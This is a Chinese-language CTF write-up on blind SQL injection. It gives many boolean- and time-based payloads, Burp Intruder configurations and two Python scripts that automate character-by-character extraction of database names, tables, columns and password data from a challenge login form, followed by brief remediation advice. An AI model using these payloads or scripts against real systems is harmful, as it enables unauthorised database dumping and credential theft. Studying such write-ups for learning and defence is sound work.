3

SQL盲注的简单分析

 2 years ago
source link: https://qwzf.github.io/2019/10/26/SQL%E7%9B%B2%E6%B3%A8%E7%9A%84%E7%AE%80%E5%8D%95%E5%88%86%E6%9E%90/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

SQL盲注的简单分析

发布时间 :2019-10-26 21:50
字数:5.9k 阅读 :64

首发于先知社区

最近做了些基于布尔盲注和基于时间盲注的CTF题,掌握了CTF题中SQL盲注的三种解法,收获很大,于是结合题目分享一下。

BASE-Blind-Inject

20190727173029-2c674382-b051-1.jpg

第一次走进误区,刚看到这道题的时候

20190727174046-9c3c76f4-b052-1.jpg
看到了登录框,第一印象应该就是简单的闭合注入,测试后发现是双引号闭合,所以构造payload注入
" or 1=1#
sql复制代码
20190727174812-a61b52b6-b053-1.jpg
果然注入进去了。虽然没有出现flag,但给予了提示“flag就在数据库里面”,然后又想到题目标题,翻译成“简单盲注”
并且flag在数据库?有页面返回?所以应该想到这是SQL注入的一种注入方式叫做布尔盲注,并且是POST型。

布尔盲注

  1. 布尔盲注利用前提
    页面没有显示位,没有输出SQL语句执行错误信息,只能通过页面返回正常不正常来判断是否存在注入。
  2. 布尔盲注利用
  • 该语句判断数据库个数,当数据库个数大于n页面显示正常
    (select count(schema_name) from information_schema.schemata)> n
    sql复制代码
  • 该语句判断数据库内第一个数据库名有多少字符,字符个数大于n页面显示正常
    (select length(schema_name) from information_schema.schemata limit 0,1)> n
    sql复制代码
  • 该语句判断第一个库第一个字符是什么,ascii值大于n页面显示正常
    (select ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1)))>n
    sql复制代码

相关函数

  • Length()函数 返回字符串的长度
  • substr()截取字符串,偏移是从1开始,而不是0开始
  • ascii()返回字符的ascii码
  • count(column_name)函数返回指定列的值的数目(NULL 不计入)
  1. 测闭合方式
    输入’ or 1=1#不回显
    输入” or 1=1#正常
    可判定是双引号闭合。
  2. 测长度
    判断数据库名的长度
    输入” or (length(database())=10)–+正常
    说明长度为8。
  3. 测字符
    用substr()截取字符串的每个字符,ascii()将字符串转换成其ASCII码
    输入” or (ascii(substr(database(),1,1))>97)–+正常

费心劳神-手工盲注

利用二分法进行手工盲注。手工盲注可以使用BurpSuite,构造payload在Repeater点击Go进行发包,这样会比较便捷。
1.猜库
用到获取当前数据库函数database()

  • " or (length(database())=10)--+正常
    sql复制代码
    20190812192807-41aa4690-bcf4-1.jpg
    所以数据库长度为10
  • 猜库名
    第一个字符

    " or (ascii(substr(database(),1,1))>32)--+正常
    " or (ascii(substr(database(),1,1))>128)--+不回显
    " or (ascii(substr(database(),1,1))>80)--+正常
    " or (ascii(substr(database(),1,1))>104)--+不回显
    " or (ascii(substr(database(),1,1))>92)--+正常
    " or (ascii(substr(database(),1,1))>98)--+正常
    " or (ascii(substr(database(),1,1))>101)--+不回显
    " or (ascii(substr(database(),1,1))>100)--+不回显
    " or (ascii(substr(database(),1,1))>99)--+不回显
    sql复制代码
    20190812192942-7a47141a-bcf4-1.jpg
    20190812201425-b995d5ec-bcfa-1.jpg
    说明数据库名的第一个字符ASCII码为99,即“c”。
    第二个字符
    " or (ascii(substr(database(),2,1))>32)--+正常
    " or (ascii(substr(database(),2,1))>128)--+不回显
    " or (ascii(substr(database(),2,1))>80)--+正常
    " or (ascii(substr(database(),2,1))>104)--+不回显
    " or (ascii(substr(database(),2,1))>92)--+正常
    " or (ascii(substr(database(),2,1))>98)--+正常
    " or (ascii(substr(database(),2,1))>101)--+正常
    " or (ascii(substr(database(),2,1))>102)--+正常
    " or (ascii(substr(database(),2,1))>103)--+正常
    sql复制代码

    说明数据库名的第二个字符ASCII码为104,即“h”。
    依次猜解,最终得到数据库名:challenges

  • " or (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6)--+正常
    sql复制代码

    所以数据表长度为6

  • 猜表名
    第一个字符

    " or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>32)--+正常
    " or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>128)--+不回显
    " or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80)--+正常
    " or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>104)--+正常
    " or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>116)--+正常
    " or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>122)--+不回显
    " or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>119)--+不回显
    " or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>119)--+不回显
    " or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>118)--+不回显
    " or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>117)--+不回显
    sql复制代码

    说明数据表名的第一个字符ASCII码为117,即“u”。
    依次猜解,最终得到数据表名:user_2

3.猜字段

  • " or (length((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1))=2)--+正常
    sql复制代码
    " or (length((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 1,1))=8)--+正常
    sql复制代码
    " or (length((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 2,1))=8)--+正常
    sql复制代码

    所以user_2表的数据字段长度分别为2、8、8

  • 猜字段名
    第一个字段

    " or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1),1,1))>32)--+正常
    " or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1),1,1))>128)--+不回显
    " or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1),1,1))>80)--+正常
    " or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1),1,1))>104)--+正常
    " or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1),1,1))>116)--+不回显
    " or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1),1,1))>110)--+不回显
    " or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1),1,1))>107)--+不回显
    " or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1),1,1))>106)--+不回显
    " or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1),1,1))>105)--+不回显
    sql复制代码

    所以user_2表的第一个字段的字段名的第一个字符ASCII码为105,即“i”。
    猜第二个字段把limit 0,1改为limit 1,1
    猜第三个字段把limit 0,1改为limit 2,1
    依次猜解,最终得到user_2表的3个字段名分别为:id username password

3.猜数据

  • " or (length((select password from challenges.user_2 limit 1,1))=32)--+正常
    sql复制代码

    所以user_2表的password字段的第2条数据的数据长度为32,这个应该就是flag那条数据了

  • " or (ascii(substr((select password from challenges.user_2 limit 1,1),1,1))>32)--+正常
    " or (ascii(substr((select password from challenges.user_2 limit 1,1),1,1))>128)--+不回显
    " or (ascii(substr((select password from challenges.user_2 limit 1,1),1,1))>80)--+正常
    " or (ascii(substr((select password from challenges.user_2 limit 1,1),1,1))>104)--+不回显
    " or (ascii(substr((select password from challenges.user_2 limit 1,1),1,1))>92)--+正常
    " or (ascii(substr((select password from challenges.user_2 limit 1,1),1,1))>98)--+正常
    " or (ascii(substr((select password from challenges.user_2 limit 1,1),1,1))>101)--+正常
    " or (ascii(substr((select password from challenges.user_2 limit 1,1),1,1))>102)--+不回显
    sql复制代码

    说明user_2表的password字段的第2条数据(limit 1,1意思是从1开始取(即第二条数据),取一条数据。)的数据值的第一个字符ASCII码为102,即“f”。
    依次猜解,最终得到flag

简便之法-BurpSuite半自动化盲注

一步一步的利用二分法进行手工盲注,是不是有点麻烦了呢?能不能让BurpSuite自己进行按顺序进行一个一个猜解呢?
于是用到了BurpSuite的一个功能模块Intruder,构造payload设置变量进行爆破,然后根据返回长度进行排序整理。
1、爆库
payload

" or (ascii(substr(database(),§1§,1))=§32§)--+
sql复制代码
  1. 先随便输入用户名和密码,然后BurpSuite抓包,发送到Intruder

    20190812200742-c97f3f12-bcf9-1.jpg
  2. 设置Positions

    20190812200947-14478324-bcfa-1.jpg
    20190812201657-14305b58-bcfb-1.jpg
  3. 设置两个变量的爆破类型

    20190812202004-83ea8aea-bcfb-1.jpg
    20190812202024-8fdd4130-bcfb-1.jpg
  4. 开始爆破,根据返回长度确定爆破结果

    20190812202525-4319f2b6-bcfc-1.jpg
  5. 排序、转换字符
    payload2那一列即是数据库名每个字符的ASCII码,按照payload1进行排序,再转换成字符,得到数据库名

    20190812204433-ef16fb0c-bcfe-1.jpg

2、爆表
payload

" or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),§1§,1))=§32§)--+
sql复制代码
  1. 与爆库的不同之处就是payload和结果长度,改一下

    20190812205426-50fcf0e6-bd00-1.jpg
    20190812205859-f3505266-bd00-1.jpg
  2. 开始爆破,根据返回长度确定爆破结果

    20190812210349-a06d0b24-bd01-1.jpg
  3. 排序、转换字符

    20190812210555-eb6d076e-bd01-1.jpg

3、爆字段
payload

" or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 2,1),§1§,1))=§32§)--+
sql复制代码
  1. 与爆库的不同之处就是payload和结果长度,改一下(结果长度改为8)

  2. 开始爆破,根据返回长度确定爆破结果

    20190812212116-1065434a-bd04-1.jpg
  3. 排序、转换字符

    20190812212230-3c86e8c0-bd04-1.jpg

3、爆数据
payload

" or (ascii(substr((select password from challenges.user_2 limit 1,1),§1§,1))=§32§)--+
sql复制代码
  1. 与爆库的不同之处就是payload和结果长度,改一下(结果长度改为32)

  2. 开始爆破,根据返回长度确定爆破结果

    20190812213814-6f103a06-bd06-1.jpg
  3. 排序、转换字符

    20190812213957-ac97aa9e-bd06-1.jpg

提高效率
为了省去转换字符并减少爆破时间,可以选择不使用ascii()函数,第二个变量的爆破类型改成Simple list
如:爆库
payload

" or (substr(database(),§1§,1)='§a§')--+
sql复制代码
20190812215052-32bd5cbc-bd08-1.jpg
爆破结果:
20190812215333-92c4cbd6-bd08-1.jpg
发现没有区分大小写,所以再通过每个字符的ascii码是否大于等于97判断每个字符是大写还是小写,小于97即大写。
这样就提高了一点效率。

神来之笔-脚本盲注

使用BurpSuite半自动化盲注,看似可以。但是不是有一种方法,可以不用其他操作,轻松得到数据库的信息呢?于是想到使用脚本进行盲注来提高效率。布尔盲注脚本如下:

import requests

chars='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_,;{}&=+'
postdata={
    'username':'" or 1=1#',
    'password':'admin'
    }
url="http://35.201.188.231:9000/challenge-02/post.php"
r=requests.post(url,data=postdata)
length=len(r.text)

def name(url,length):
    dbname=''
    print("数据库名:",dbname)
    payload='" or ascii(substr(database(),{0},1))={1} #'
    #print("数据表名:",dbname)
    #payload='"or ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))={1}#'
    #print("字段名:",dbname)
    #payload='"or ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 1,1),{0},1))={1}#'
    #print("数据:",dbname)
    #payload='" or ascii(substr((select password from user_2 limit 1,1),{0},1))={1}#'
    for i in range(1,40):
        char=''
        for x in chars:
            char_ascii=ord(x)
            payloads=payload.format(i,char_ascii)
            postdata={
            'username':payloads,
            'password':'admin'
            }
            r=requests.post(url,data=postdata)
            if len(r.text) == length:
                dbname+=x
                print(dbname)
                char=x
                break
        if char=='':
            break
    return dbname
name(url,length)
python复制代码

测试一下

20190812222006-4862ce68-bd0c-1.jpg
如果传参方式是get传参,只需在url后添加? 参数名=,再将requests.post改成requests.get即可。

BASE-TIME-BLIND-INJECT

20190812222615-24388d2e-bd0d-1.jpg

第二次走进误区,刚看到这道题的时候

20190813202107-d389dec4-bdc4-1.jpg
从题目标题看出是时间盲注。试了单引号闭合和和双引号闭合,结果并没有什么用,于是查看了一下源码,发现关键点了。竟然有源码可以下载!
20190812232412-3cba6e96-bd15-1.jpg
查看下载的源码,发现是 '" 闭合,并且传参为POST传参。
20190812233736-1c2f449c-bd17-1.jpg

时间盲注

  1. 时间盲注利用前提
    页面上没有显示位,也没有输出SQL语句执行错误信息。 正确的SQL语句和错误的SQL语句返回页面都一样,但是加入sleep(5)条件之后,页面的返回速度明显慢了5秒。
  2. 时间盲注利用
  • 该语句判断数据库个数,当数据库个数等于n页面返回延迟5秒
    if((select count(schema_name) from information_schema.schemata)=n,sleep(5),1)
    sql复制代码
  • 该语句判断数据库内第一个数据库名有多少字符,字符个数等于n页面返回延迟5秒
    if((select length(schema_name) from information_schema.schemata limit 0,1)=n,sleep(5),1)
    sql复制代码
  • 该语句判断第一个库第一个字符是什么,ascii值等于n页面返回延迟5秒
    if((select ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1)))=n,sleep(5),1)
    sql复制代码

相关函数

  • Length()函数 返回字符串的长度
  • substr()截取字符串
  • ascii()返回字符的ascii码
  • sleep(n):将程序挂起一段时间 n为n秒
  • if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
  • count(column_name)函数返回指定列的值的数目(NULL 不计入)
  1. 测试语句
    输入’” or if(1=1,sleep(5),1)#延迟5秒
    输入’” or if(1=2,sleep(5),1)#正常
  2. 测长度
    判断数据库名的长度
    输入’” or if((length(database())=10),sleep(5),1)–+延迟5秒
    说明长度为8。
  3. 测字符
    用substr()截取字符串的每个字符,ascii()将字符串转换成其ASCII码
    输入’” or if((ascii(substr(database(),1,1))>97),sleep(5),1)–+延迟5秒

费心劳神-手工盲注

同样利用二分法进行手工盲注,与布尔盲注不同之处是页面上没有回显,所以使用了if()函数和sleep()函数,根据返回时间判断。同样可以使用BurpSuite进行测试。
1.猜库
用到获取当前数据库函数database()

  • '" or if((length(database())=10),sleep(5),1)--+延迟5秒
    sql复制代码
    20190812235329-5405abb6-bd19-1.jpg
    所以数据库长度为10
  • 猜库名
    第一个字符

    '" or if((ascii(substr(database(),1,1))>32),sleep(5),1)--+延迟5秒
    '" or if((ascii(substr(database(),1,1))>128),sleep(5),1)--+正常
    '" or if((ascii(substr(database(),1,1))>80),sleep(5),1)--+延迟5秒
    '" or if((ascii(substr(database(),1,1))>104),sleep(5),1)--+正常
    '" or if((ascii(substr(database(),1,1))>92),sleep(5),1)--+延迟5秒
    '" or if((ascii(substr(database(),1,1))>98),sleep(5),1)--+延迟5秒
    '" or if((ascii(substr(database(),1,1))>101),sleep(5),1)--+正常
    '" or if((ascii(substr(database(),1,1))>100),sleep(5),1)--+正常
    '" or if((ascii(substr(database(),1,1))>99),sleep(5),1)--+正常
    sql复制代码
    20190812235611-b4895e4c-bd19-1.jpg
    20190812235635-c2dfaf28-bd19-1.jpg
    说明数据库名的第一个字符ASCII码为99,即“c”。
    依次猜解,最终得到数据库名:challenges
  • '" or if((length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6),sleep(5),1)--+延迟5秒
    sql复制代码

    所以数据表长度为6

  • 猜表名
    第一个字符

    '" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>32),sleep(5),1)--+延迟5秒
    '" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>128),sleep(5),1)--+正常
    '" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80),sleep(5),1)--+延迟5秒
    '" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>104),sleep(5),1)--+延迟5秒
    '" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>116),sleep(5),1)--+延迟5秒
    '" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>122),sleep(5),1)--+正常
    '" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>119),sleep(5),1)--+正常
    '" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>119),sleep(5),1)--+正常
    '" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>118),sleep(5),1)--+正常
    '" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>117),sleep(5),1)--+正常
    sql复制代码

    说明数据表名的第一个字符ASCII码为117,即“u”。
    依次猜解,最终得到数据表名:user_3

3.猜字段

  • '" or if((length((select column_name from information_schema.columns where table_name='user_3' and table_schema=database() limit 0,1))=2),sleep(5),1)--+延迟5秒
    sql复制代码
    '" or if((length((select column_name from information_schema.columns where table_name='user_3' and table_schema=database() limit 1,1))=8),sleep(5),1)--+延迟5秒
    sql复制代码
    '" or if((length((select column_name from information_schema.columns where table_name='user_3' and table_schema=database() limit 2,1))=8),sleep(5),1)--+延迟5秒
    sql复制代码

    所以user_3表的数据字段长度分别为2、8、8

  • 猜字段名
    第一个字段

    '" or if((ascii(substr((select column_name from information_schema.columns where table_name='user_3' and table_schema=database() limit 0,1),1,1))>32),sleep(5),1)--+延迟5秒
    '" or if((ascii(substr((select column_name from information_schema.columns where table_name='user_3' and table_schema=database() limit 0,1),1,1))>128),sleep(5),1)--+正常
    '" or if((ascii(substr((select column_name from information_schema.columns where table_name='user_3' and table_schema=database() limit 0,1),1,1))>80),sleep(5),1)--+延迟5秒
    '" or if((ascii(substr((select column_name from information_schema.columns where table_name='user_3' and table_schema=database() limit 0,1),1,1))>104),sleep(5),1)--+延迟5秒
    '" or if((ascii(substr((select column_name from information_schema.columns where table_name='user_3' and table_schema=database() limit 0,1),1,1))>116),sleep(5),1)--+正常
    '" or if((ascii(substr((select column_name from information_schema.columns where table_name='user_3' and table_schema=database() limit 0,1),1,1))>110),sleep(5),1)--+正常
    '" or if((ascii(substr((select column_name from information_schema.columns where table_name='user_3' and table_schema=database() limit 0,1),1,1))>107),sleep(5),1)--+正常
    '" or if((ascii(substr((select column_name from information_schema.columns where table_name='user_3' and table_schema=database() limit 0,1),1,1))>106),sleep(5),1)--+正常
    '" or if((ascii(substr((select column_name from information_schema.columns where table_name='user_3' and table_schema=database() limit 0,1),1,1))>105),sleep(5),1)--+正常
    sql复制代码

    所以user_3表的第一个字段的字段名的第一个字符ASCII码为105,即“i”。
    依次猜解,最终得到user_3表的3个字段名分别为:id username password

3.猜数据

  • '" or if((length((select password from challenges.user_3 limit 1,1))=25),sleep(5),1)--+延迟5秒
    sql复制代码

    所以user_3表的password字段的第2条数据的数据长度为25,这个应该就是flag那条数据了

  • '" or if((ascii(substr((select password from challenges.user_3 limit 1,1),1,1))>32),sleep(5),1)--+延迟5秒
    '" or if((ascii(substr((select password from challenges.user_3 limit 1,1),1,1))>128),sleep(5),1)--+正常
    '" or if((ascii(substr((select password from challenges.user_3 limit 1,1),1,1))>80),sleep(5),1)--+延迟5秒
    '" or if((ascii(substr((select password from challenges.user_3 limit 1,1),1,1))>104),sleep(5),1)--+正常
    '" or if((ascii(substr((select password from challenges.user_3 limit 1,1),1,1))>92),sleep(5),1)--+延迟5秒
    '" or if((ascii(substr((select password from challenges.user_3 limit 1,1),1,1))>98),sleep(5),1)--+延迟5秒
    '" or if((ascii(substr((select password from challenges.user_3 limit 1,1),1,1))>101),sleep(5),1)--+延迟5秒
    '" or if((ascii(substr((select password from challenges.user_3 limit 1,1),1,1))>102),sleep(5),1)--+正常
    sql复制代码

    说明user_3表的password字段的第2条数据(limit 1,1意思是从1开始取(即第二条数据),取一条数据。)的数据值的第一个字符ASCII码为102,即“f”。
    依次猜解,最终得到flag

简便之法-BurpSuite半自动化盲注

和布尔盲注一样,时间盲注是不是也可以进行构造payload,并设置变量进行爆破呢?发现与布尔盲注不同之处就是使用了sleep()和if()。并且对爆破结果要根据返回时间进行整理排序。
1、爆库
payload

" or if((ascii(substr(database(),§1§,1))=§32§),sleep(5),1)--+
sql复制代码
  1. 先随便输入用户名和密码,然后BurpSuite抓包,发送到Intruder

    20190813004830-03a339f6-bd21-1.jpg
  2. 设置Positions

    20190813004911-1c5cf446-bd21-1.jpg
  3. 设置两个变量的爆破类型

    20190813005009-3ec5b3e2-bd21-1.jpg
    20190813005024-4791b584-bd21-1.jpg
  4. 开始爆破,根据返回时间确定爆破结果

    20190813005056-5ad34cf2-bd21-1.jpg
    20190813005114-652b37be-bd21-1.jpg
    凡是Timer>10000的payload2即为数据库名的每个字符的ASCII
  5. 排序、转换字符
    Timer>10000的payload2每个字符的ASCII码,按照payload1进行排序,再转换成字符,得到数据库名

    20190812204433-ef16fb0c-bcfe-1.jpg

2、爆表
payload

" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),§1§,1))=§32§),sleep(5),1)--+
sql复制代码

与爆库的不同之处就是payload和结果长度(结果长度由10改为6)。然后开始爆破,根据返回时间确定爆破结果。
最后排序、转换字符。最后得到表名为:user_3

3、爆字段
payload

" or if((ascii(substr((select column_name from information_schema.columns where table_name='user_3' and table_schema=database() limit 2,1),§1§,1))=§32§),sleep(5),1)--+
sql复制代码

上述payload爆第三个字段,与爆库的不同之处就是payload和结果长度,改一下(结果长度改为8)。
然后开始爆破,根据返回时间确定爆破结果。最后排序、转换字符,得到第三个字段为:password

3、爆数据
payload

" or if((ascii(substr((select password from challenges.user_3 limit 1,1),§1§,1))=§32§),sleep(5),1)--+
sql复制代码

与爆库的不同之处就是payload和结果长度,改一下(结果长度改为25)。然后开始爆破,根据返回时间确定爆破结果。
最后排序、转换字符,得到最终flag。
提高效率
当然时间盲注也可以用布尔盲注的那种方法提高效率,即选择不使用ascii()函数。与布尔盲注不同之处是使用了sleep()函数和if(expr1,expr2,expr3)函数。
####神来之笔-脚本盲注
和布尔盲注一样,是不是也可以写一个时间盲注脚本来提高效率呢?于是想到用python里的time.time()函数,返回当前时间的时间戳。记录提交和返回过程的时间差,然后进行判断。时间盲注脚本如下:

import requests
import time
import string
import sys
chars='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_,;{}&=+'
url="http://35.201.188.231:9000/challenge-03/post.php"
dbname=''
payload="'\" or if((ascii(substr(database(),{0},1))={1}),sleep(5),1) #"
print("数据库名:",dbname)
#payload="'\"or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))={1}),sleep(5),1) #"
#print("数据表名:",dbname)
#payload="'\"or if((ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="user_3" limit 1,1),{0},1))={1}),sleep(5),1) #"
#print("字段名:",dbname)
#payload="'\" or if((ascii(substr((select password from user_3 limit 1,1),{0},1))={1}),sleep(5),1) #"
#print("数据:",dbname)
for i in range(1,40):
    char=''
    for x in chars:
        char_ascii=ord(x)
        payloads=payload.format(i,char_ascii)
        start=time.time()
        postdata={
            'username':payloads,
            'password':'admin'
        }
        r=requests.post(url,data=postdata)
        if (time.time() - start)>=5:
            dbname+=x
            print(dbname)
            char=x
            break
    if char=='':
        break
python复制代码

测试一下

20190813193259-1a4f83e2-bdbe-1.jpg
同样如果传参方式是get传参,只需在url后添加? 参数名=,再将requests.post改成requests.get即可。

SQL盲注的利用

在一些SQL注入中往往有用到SQL盲注的方法,进行猜解数据库信息。比如在order by排序注入中,利用基于时间盲注的方法。

select * from users order by id desc;
sql复制代码

因为desc是可控的传参值。所以可进行注入
基于时间盲注

?order=if(1=1,1,sleep(5)) 正常响应时间
?order=if(1=2,1,sleep(5)) 延迟5秒
sql复制代码

SQL盲注漏洞的修复方案

SQL盲注的危害大家也都看到了,但是我们该如何防止这种情况的发生呢?
简单来讲,就是永远不要相信用户的输入。所以要对请求进行过滤,对参数进行验证,对非法字符进行拦截替换,清理用户输入的危险字符,保证sql能够在数据库中正确的编译和执行。这便是解决SQL盲注的简单思路。

当然,还有另一种方法,就是不使用SQL拼接语句。先在后台进行SQL查询,然后将查询结果与用户输入进行比对。

从两道SQL盲注的CTF题中,明白SQL盲注的三种解法,以及SQL盲注的危害和利用。同时也想到一些修复方案。
总之收获很大。但本人文采有限,操作生疏。若有任何不当之处,还望各位师傅指出。


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 [email protected]

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK